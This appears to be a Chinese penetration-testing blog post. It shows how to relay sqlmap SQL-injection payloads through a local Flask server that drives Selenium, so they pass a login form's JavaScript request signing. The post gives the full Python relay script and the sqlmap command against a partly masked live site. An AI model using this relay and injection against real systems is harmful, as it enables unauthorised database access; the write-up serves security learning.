通过 selenium 和 flask 中转后利用 sqlmap 进行注入

0x00 先说前提

昨天某个小伙伴说有个注入没法搞 60

前端提交登陆表单时数据包加密了, 而且有个 sign 字符串每次都不一样用于校验, 应该是用 js 加密了

0x01 找加密的 js 文件

注入的地方是获取验证码时的手机号, 刚开始想着先找到 js 加密的函数, 然后生成 sign 再组数据包发送。

就像 记一次SQL Server报错注入 中一样, 用 selenium 或者 PhantomJS 执行 js 代码生成sign

一番查找发现了加密的 js 文件函数, 但是用的是 angular 这个前端框架, 没用过这个东西。。。。。 80 80

能看懂一般的 js 代码, 但是这个没得搞, 不懂。。。

0x02 数据中转

本来昨天我已经放弃了的, 结果今天上午小伙伴又找我了, 说还没有整好, 又看了一通 js, 仍然无解, 看不懂。。。

想起昨天有个大佬说用 PhantomJS + flask 这样、那样、再这样, 中转数据就可以用 sqlmap 跑了, emmmmm。。。


虽然很早以前用过 asp 的 Cookie 注入中转 , 但是那个是软件, 一直没有搞懂原理, 现在正好趁机学下

经过各种百度, 大概明白了, 应是本地起个 server, sqlmap 就扫描这个 server, server 接收到 payload 后将 payload 加到表单中, 然后模拟提交表单

0x03 selenium 和 flask 进行中转

没有接触过 PhantomJS, 但是 selenium 以前用过, 可以尝试下

大概看了下, 我们需要注意动态的消息提示框, 需要处理 input 的长度 90

大概代码就是下面这样了:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
@Author: reber
@Mail: reber0ask@qq.com
@Date: 2019-03-22 16:22:59
@LastEditTime: 2019-07-22 09:17:05
'''

import time
from lxml import etree
from flask import Flask
from flask import request
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

# chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome = webdriver.Chrome(executable_path="/opt/chromedriver", options=chrome_options)
chrome = webdriver.Chrome(executable_path="/opt/chromedriver")
chrome.get("https://cx.xxxxxxx.cn/#dashboard")


app = Flask(__name__)

def send(payload):
    # 用两种登陆方式, 这里切换到验证码登陆方式
    chrome.find_element_by_link_text("手机登录").click()

    # 手机号长度有限制, 去除 input 的 maxlength 属性
    chrome.execute_script("document.getElementById('modile').removeAttribute('maxlength')")

    # 给 input 标签赋值
    chrome.find_element_by_id("modile").send_keys(payload)

    # 点击发送验证码
    chrome.find_element_by_id("BtnphoneNote").click()

    # 网速不好时服务器返回数据慢所以用 while
    while True:
        selector = etree.HTML(chrome.page_source)
        message = selector.xpath("//div[@class='ng-binding ng-scope']/text()")
        if message:
            time.sleep(0.5)
            # 得到返回的信息后, 关闭信息提示框, 然后清除 input 的内容便于发送下一个 payload
            chrome.find_element_by_class_name("close").click()
            chrome.find_element_by_id("modile").clear()
            break
        time.sleep(0.5)
    return "ttttt"+message[0]

@app.route('/')
def index():
    payload = request.args.get("payload")
    return send(payload)


if __name__ == "__main__":
    app.run()

0x04 sqlmap 测试效果

  • 启动 flask 服务
[16:09 reber@wyb at ~/Pentest]
➜  python3 tmp.py
* Serving Flask app "tmp" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
  • 使用 sqlmap 尝试扫描
sqlmap --risk 2 --level 3 --tamper space2comment --batch --random-agent -u "http://127.0.0.1:5000/?payload=13188888888*" --dbms="Oracle" --technique=E --current-db
  • flask 接收到了payload

  • sqlmap 执行结果


Reference(侵删):

若未作声明则文章版权归本人(@reber)所有,转载请注明原文链接:

可以返回顶部